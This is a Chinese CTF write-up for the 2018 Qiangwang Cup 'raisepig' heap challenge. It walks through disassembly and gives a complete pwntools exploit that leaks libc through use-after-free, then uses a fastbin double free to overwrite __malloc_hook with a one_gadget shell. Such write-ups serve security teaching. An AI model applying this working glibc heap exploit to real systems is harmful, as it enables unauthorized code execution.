2018 强网杯raisepig解题过程

Posted Yable

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018 强网杯raisepig解题过程相关的知识,希望对你有一定的参考价值。

这是一个UAF+double free的题啊,题目比较简单。

首先看一下这个文件:

这是一个64位的程序,动态链接的。

运行下看看:

  

   

  

 

 

再来用ida看一下这个程序代码(有些地方我有重新标记):

看一下list:

 然后看下每一个流程是怎么执行的吧,发现无法解析伪c代码,那就看汇编结合动调吧。

  

 

.text:0000000000000B90 list            proc near               ; CODE XREF: main+30p
.text:0000000000000B90
.text:0000000000000B90 var_8           = qword ptr -8
.text:0000000000000B90
.text:0000000000000B90                 push    rbp
.text:0000000000000B91                 mov     rbp, rsp
.text:0000000000000B94                 sub     rsp, 10h
.text:0000000000000B98                 mov     rax, fs:28h
.text:0000000000000BA1                 mov     [rbp+var_8], rax
.text:0000000000000BA5                 xor     eax, eax
.text:0000000000000BA7                 lea     rdi, s          ; s
.text:0000000000000BAE                 call    puts
.text:0000000000000BB3                 lea     rdi, asc_1355   ; "            ,-,------, "
.text:0000000000000BBA                 call    puts
.text:0000000000000BBF                 lea     rdi, a__        ; "          _ \\\\(\\\\(_,--\'  "
.text:0000000000000BC6                 call    puts
.text:0000000000000BCB                 lea     rdi, a___0      ; "     <`--\'\\\\>/(/(__     "
.text:0000000000000BD2                 call    puts
.text:0000000000000BD7                 lea     rdi, a___1      ; "     /. .  `\'` \'  \\\\    "
.text:0000000000000BDE                 call    puts
.text:0000000000000BE3                 lea     rdi, a@         ; "    (\'\')  ,        @   "
.text:0000000000000BEA                 call    puts
.text:0000000000000BEF                 lea     rdi, a___2      ; "     `-._,        /    "
.text:0000000000000BF6                 call    puts
.text:0000000000000BFB                 lea     rdi, a_         ; "        )-)_/--( >     "
.text:0000000000000C02                 call    puts
.text:0000000000000C07                 lea     rdi, asc_13FD   ; "       \'\'\'\'  \'\'\'\'      "
.text:0000000000000C0E                 call    puts
.text:0000000000000C13                 lea     rdi, s          ; s
.text:0000000000000C1A                 call    puts
.text:0000000000000C1F                 lea     rdi, a1_RaiseAPig ; "1 . Raise a pig "
.text:0000000000000C26                 call    puts
.text:0000000000000C2B                 lea     rdi, a2_VisitPigs ; "2 . Visit pigs "
.text:0000000000000C32                 call    puts
.text:0000000000000C37                 lea     rdi, a3_EatAPig ; "3 . Eat a pig"
.text:0000000000000C3E                 call    puts
.text:0000000000000C43                 lea     rdi, a4_EatTheWholeP ; "4 . Eat the whole Pig Farm"
.text:0000000000000C4A                 call    puts
.text:0000000000000C4F                 lea     rdi, a5_LeaveTheFarm ; "5 . Leave the Farm"
.text:0000000000000C56                 call    puts
.text:0000000000000C5B                 lea     rdi, s          ; s
.text:0000000000000C62                 call    puts
.text:0000000000000C67                 lea     rdi, format     ; "Your choice : "
.text:0000000000000C6E                 mov     eax, 0
.text:0000000000000C73                 call    printf
.text:0000000000000C78                 nop
.text:0000000000000C79                 mov     rax, [rbp+var_8]
.text:0000000000000C7D                 xor     rax, fs:28h
.text:0000000000000C86                 jz      short locret_C8D
.text:0000000000000C88                 call    __stack_chk_fail
.text:0000000000000C8D ; ---------------------------------------------------------------------------
.text:0000000000000C8D
.text:0000000000000C8D locret_C8D:                             ; CODE XREF: list+F6j
.text:0000000000000C8D                 leave
.text:0000000000000C8E                 retn
.text:0000000000000C8E list            endp
.text:0000000000000C8E
.text:0000000000000C8F
.text:0000000000000C8F ; =============== S U B R O U T I N E =======================================
.text:0000000000000C8F
.text:0000000000000C8F ; Attributes: bp-based frame
.text:0000000000000C8F
.text:0000000000000C8F sub_C8F         proc near               ; CODE XREF: main+89p
.text:0000000000000C8F
.text:0000000000000C8F size            = qword ptr -20h
.text:0000000000000C8F s               = qword ptr -18h
.text:0000000000000C8F buf             = qword ptr -10h
.text:0000000000000C8F var_8           = qword ptr -8
.text:0000000000000C8F
.text:0000000000000C8F                 push    rbp
.text:0000000000000C90                 mov     rbp, rsp
.text:0000000000000C93                 sub     rsp, 20h
.text:0000000000000C97                 mov     rax, fs:28h
.text:0000000000000CA0                 mov     [rbp+var_8], rax
.text:0000000000000CA4                 xor     eax, eax
.text:0000000000000CA6                 push    rax
.text:0000000000000CA7                 xor     eax, eax
.text:0000000000000CA9                 jz      short loc_CAF
.text:0000000000000CAB                 add     rsp, 4
.text:0000000000000CAF
.text:0000000000000CAF loc_CAF:                                ; CODE XREF: sub_C8F+1Aj
.text:0000000000000CAF                 pop     rax
.text:0000000000000CB0                 mov     [rbp+s], 0
.text:0000000000000CB8                 mov     [rbp+buf], 0
.text:0000000000000CC0                 mov     dword ptr [rbp+size], 0
.text:0000000000000CC7                 mov     eax, cs:dword_20202C
.text:0000000000000CCD                 cmp     eax, 63h
.text:0000000000000CD0                 ja      loc_E23
.text:0000000000000CD6                 mov     edi, 28h        ; size
.text:0000000000000CDB                 call    malloc                           //申请一个堆
.text:0000000000000CE0                 mov     [rbp+s], rax
.text:0000000000000CE4                 mov     rax, [rbp+s]
.text:0000000000000CE8                 mov     edx, 28h        ; n
.text:0000000000000CED                 mov     esi, 0          ; c
.text:0000000000000CF2                 mov     rdi, rax        ; s
.text:0000000000000CF5                 call    memset
.text:0000000000000CFA                 lea     rdi, aLengthOfTheNam ; "Length of the name :"   //这里是我们输入的raise的length
.text:0000000000000D01                 mov     eax, 0
.text:0000000000000D06                 call    printf
.text:0000000000000D0B                 lea     rax, [rbp+size]
.text:0000000000000D0F                 mov     rsi, rax
.text:0000000000000D12                 lea     rdi, aU         ; "%u"
.text:0000000000000D19                 mov     eax, 0
.text:0000000000000D1E                 call    __isoc99_scanf
.text:0000000000000D23                 cmp     eax, 0FFFFFFFFh
.text:0000000000000D26                 jnz     short loc_D32
.text:0000000000000D28                 mov     edi, 0FFFFFFFFh ; status
.text:0000000000000D2D                 call    exit
.text:0000000000000D32 ; ---------------------------------------------------------------------------
.text:0000000000000D32
.text:0000000000000D32 loc_D32:                                ; CODE XREF: sub_C8F+97j
.text:0000000000000D32                 mov     eax, dword ptr [rbp+size]
.text:0000000000000D35                 mov     eax, eax
.text:0000000000000D37                 mov     rdi, rax        ; size
.text:0000000000000D3A                 call    malloc                                      //然后申请一个堆
.text:0000000000000D3F                 mov     [rbp+buf], rax
.text:0000000000000D43                 cmp     [rbp+buf], 0
.text:0000000000000D48                 jnz     short loc_D60
.text:0000000000000D4A                 lea     rdi, aError     ; "error !"
.text:0000000000000D51                 call    puts
.text:0000000000000D56                 mov     edi, 0FFFFFFFFh ; status
.text:0000000000000D5B                 call    exit
.text:0000000000000D60 ; ---------------------------------------------------------------------------
.text:0000000000000D60
.text:0000000000000D60 loc_D60:                                ; CODE XREF: sub_C8F+B9j
.text:0000000000000D60                 lea     rdi, aTheNameOfPig ; "The name of pig :"
.text:0000000000000D67                 mov     eax, 0
.text:0000000000000D6C                 call    printf
.text:0000000000000D71                 mov     eax, dword ptr [rbp+size]
.text:0000000000000D74                 mov     edx, eax        ; nbytes
.text:0000000000000D76                 mov     rax, [rbp+buf]
.text:0000000000000D7A                 mov     rsi, rax        ; buf
.text:0000000000000D7D                 mov     edi, 0          ; fd
.text:0000000000000D82                 call    read
.text:0000000000000D87                 mov     rax, [rbp+s]
.text:0000000000000D8B                 mov     rdx, [rbp+buf]
.text:0000000000000D8F                 mov     [rax+8], rdx
.text:0000000000000D93                 lea     rdi, aTheTypeOfThePi ; "The type of the pig :"   //获取参数:type
.text:0000000000000D9A                 mov     eax, 0
.text:0000000000000D9F                 call    printf
.text:0000000000000DA4                 mov     rax, [rbp+s]
.text:0000000000000DA8                 add     rax, 10h
.text:0000000000000DAC                 mov     rsi, rax
.text:0000000000000DAF                 lea     rdi, a23s       ; "%23s"
.text:0000000000000DB6                 mov     eax, 0
.text:0000000000000DBB                 call    __isoc99_scanf
.text:0000000000000DC0                 mov     rax, [rbp+s]
.text:0000000000000DC4                 mov     dword ptr [rax], 1
.text:0000000000000DCA                 mov     dword ptr [rbp+size+4], 0
.text:0000000000000DD1                 jmp     short loc_E0E
.text:0000000000000DD3 ; ---------------------------------------------------------------------------
.text:0000000000000DD3

 

 看一下内存分配,可以看出来Name放在一个堆里,type放在了另外一个堆里:

然后删除第一个堆,看下内存分配:

 

 

可以发现之前的name的空间被free了,然后我们在申请一个内存,看看位置。

 

 

 

 也就是说free的空间是Name所在的空间。第0个空间就会释放AAAA空间,第1个就是释放BBBB空间。同理……

下面就可以进行利用了,思路:

1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。

2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址

3.double free 触发__malloc_hook执行,便会转换到执行我们的shell。

 

 开始利用了:

1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。

那么我们开始写脚本吧,首先构造输入函数和显示函数:

#!usr/bin/env python
#! coding = utf-8

from pwn import*

debug =1
local =1

if local:
    p =process(\'./raisepig\')
else:
    p =remote("127.0.0.1",8080)

#context.log_level = \'debug\'
def add(leng,name,types):
    p.recvuntil(\'Your choice : \')
    p.sendline(\'1\')
    p.recvuntil("Length of the name :")
    p.sendline(str(leng))
    p.recvuntil("The name of pig :")
    p.sendline(name)
    p.recvuntil("The type of the pig :")
    p.sendline(types)

def visit():
    p.recvuntil(\'Your choice : \')
    p.sendline("2")

def free(num):
    p.recvuntil(\'Your choice : \')
    p.sendline("3")
    p.recvuntil("Which pig do you want to eat:")
    p.sendline(str(num))



#leak address
add(0x80,"AAAA","aa")
add(0x20,"BBBB","bb")
#add(0x20,"CCCC","cc")
free(0)

add(0x50,\'\',\'dd\')
#add(0x60,\'DDDD\',\'dd\')

visit()

p.recvuntil("Name[2] :")
#data=p.recvline()
data =u64(p.recv(6).ljust(8,\'\\x00\'))
print"data=",hex(data)

#libc = hex(data) + 0x3c4b0a

#print "libc=",hex(libc)

gdb.attach(p)

p.interactive()

 

#leak address
成功泄露出了地址了:

 

 接下来我们来计算0x7fe7e68b3b0a <__realloc_hook+2>这个地址与libc基地址的偏移。见下图,可以看到libc的基地址是0x00007fe7e64ef000。那么偏移就是:

偏移 = 0x7fe7e68b3b0a - 0x00007fe7e64ef000 =0x3c4b0a,那么相反啊,libc = 0x7fe7e68b3b0a - 0x3c4b0a。

 

   

添加两行代码:

libc = data - 0x3c4b0a

print "libc=",hex(libc)

 

 运行下,看看效果,如下,看来泄露正确了。

 one_gadget获得的system"/bin/sh"的地址(如下),出现了四个偏移,用哪一个呢?很简单,试一试,哪个可以用就用哪个。我选择的是第三个偏移0xf02a4。即:

 

one = libc + 0xf02a4
~/桌面/raisepig$ ldd raisepig
    linux-vdso.so.1 =>  (0x00007ffce27e0000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffb3d639000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffb3dc06000)
~/桌面/raisepig$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

 

2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址

修改思路:通过double free来伪造fd,使fd指向malloc_hook前两个左右字节附近的地方(伪堆)(注意是附近哦,后面还会有size的安全检查),使申请的伪堆的data处为__malloc_hook函数的地址,这样修改data就修改了malloc_hook函数的内容了。

首先咱们来申请两段空间,用来double free

add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")

 

 

 就用CCCC段空间和DDDD段的空间来做吧。EEEE空间是为了防止和largebin合并。

  构造double free,并伪造fd,

add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")
#add(0x90,"FFFF","ffff")
free(3)
free(4)
free(3)

  

  

 那么我们来构造fd吧(见下图)发现fd被我们修改成了__malloc_hook的地址了。

__malloc_hook = libc + 0x3c4b10
print "__malloc_hook=",hex(__malloc_hook)

add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")
#add(0x90,"FFFF","ffff")
free(3)
free(4)
free(3)

#add(0x60,p64(__malloc_hook-0x13),"ffff")
add(0x60,p64(__malloc_hook),"ffff")   #这里是我们填入的__malloc_hook的地址
add(0x60,"GGGG","gggg")
#add(0x60,"HHHH","hhhh")

 

 

libc = data - 0x3c4b0a
print "libc=",hex(libc)

one = libc + 0xf02a4
print "one=",hex(one)

__malloc_hook = libc + 0x3c4b10
print "__malloc_hook=",hex(__malloc_hook)
print "__malloc_hook-0x13=",hex(__malloc_hook-0x13)

add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")
#add(0x90,"FFFF","ffff")
free(3)
free(4)
free(3)

add(0x60,p64(__malloc_hook-0x13),"ffff")
#add(0x60,p64(__malloc_hook),"ffff")
add(0x60,"GGGG","gggg")
add(0x60,"HHHH","hhhh")

add(0x60,\'\\x00\\x00\\x00\'+p64(one),"iiii")

 

 

哈哈,看到我们已经把__malloc_hook的地址修改为我们的one_gadget的地址了。下面就是触发了,动过触发double free然后触动__malloc_hook函数。

 

free(0)
free(0)

 

 

发现利用成功了。

完整exp:

#!usr/bin/env python
#! coding = utf-8

from pwn import*

debug =1
local =1

if local:
    p =process(\'./raisepig\')
else:
    p =remote("127.0.0.1",8080)

#context.log_level = \'debug\'
def add(leng,name,types):
    p.recvuntil(\'Your choice : \')
    p.sendline(\'1\')
    p.recvuntil("Length of the name :")
    p.sendline(str(leng))
    p.recvuntil("The name of pig :")
    p.sendline(name)
    p.recvuntil("The type of the pig :")
    p.sendline(types)

def visit():
    p.recvuntil(\'Your choice : \')
    p.sendline("2")

def free(num):
    p.recvuntil(\'Your choice : \')
    p.sendline("3")
    p.recvuntil("Which pig do you want to eat:")
    p.sendline(str(num))



#leak address
add(0x80,"AAAA","aa")
add(0x20,"BBBB","bb")

free(0)
add(0x50,\'\',\'dd\')

visit()

p.recvuntil("Name[2] :")
#data=p.recvline()
data =u64(p.recv(6).ljust(8,\'\\x00\'))
print"data=",hex(data)

libc = data - 0x3c4b0a
print "libc=",hex(libc)

one = libc + 0xf02a4
print "one=",hex(one)

__malloc_hook = libc + 0x3c4b10
print "__malloc_hook=",hex(__malloc_hook)
print "__malloc_hook-0x13=",hex(__malloc_hook-0x13)

add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")

free(3)
free(4)
free(3)

add(0x60,p64(__malloc_hook-0x13),"ffff") #保证检查size位为有效数据。
#add(0x60,p64(__malloc_hook),"ffff")
add(0x60,"GGGG","gggg")
add(0x60,"HHHH","hhhh")

add(0x60,\'\\x00\\x00\\x00\'+p64(one),"iiii")

free(0)
free(0)

gdb.attach(p)

p.interactive()

 

以上是关于2018 强网杯raisepig解题过程的主要内容,如果未能解决你的问题,请参考以下文章

强网杯2018逆向hide

2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)

2018年强网杯pwn题复现

BUU sql注入-[强网杯 2019]随便注

2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)

2022强网杯web(部分)